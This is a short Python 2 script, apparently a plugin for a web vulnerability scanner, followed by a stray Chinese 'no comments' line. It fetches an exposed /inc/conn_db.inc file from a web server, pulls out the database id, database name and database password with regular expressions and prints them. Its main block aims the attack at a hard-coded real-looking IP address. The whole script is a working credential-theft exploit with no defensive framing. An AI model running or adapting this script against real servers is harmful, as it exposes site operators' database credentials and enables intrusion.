import urlparse
import re
import urllib2
def assign(service, arg):
if service != "www":
return
arr = urlparse.urlparse(arg)
return True, '%s://%s/inc/conn_db.inc' % (arr.scheme, arr.netloc)
def getMiddleStr(content, r):
pattern = re.compile(r)
return pattern.search(content).groups()[0]
def audit(arg):
url = arg
response = urllib2.urlopen(url)
code = response.getcode()
res = response.read()
if code == 200:
print 'db_id: ' + getMiddleStr(res, '\$db_id = "(\w*)"\w*')
print 'db_name: ' + getMiddleStr(res, '\$db_name = "(\w*)"\w*')
print 'db_pass: ' + getMiddleStr(res, '\$db_pass = "(\w*)"\w*')
if __name__ == '__main__':
audit(assign('www', 'http://61.77.63.86/')[1])
暂无评论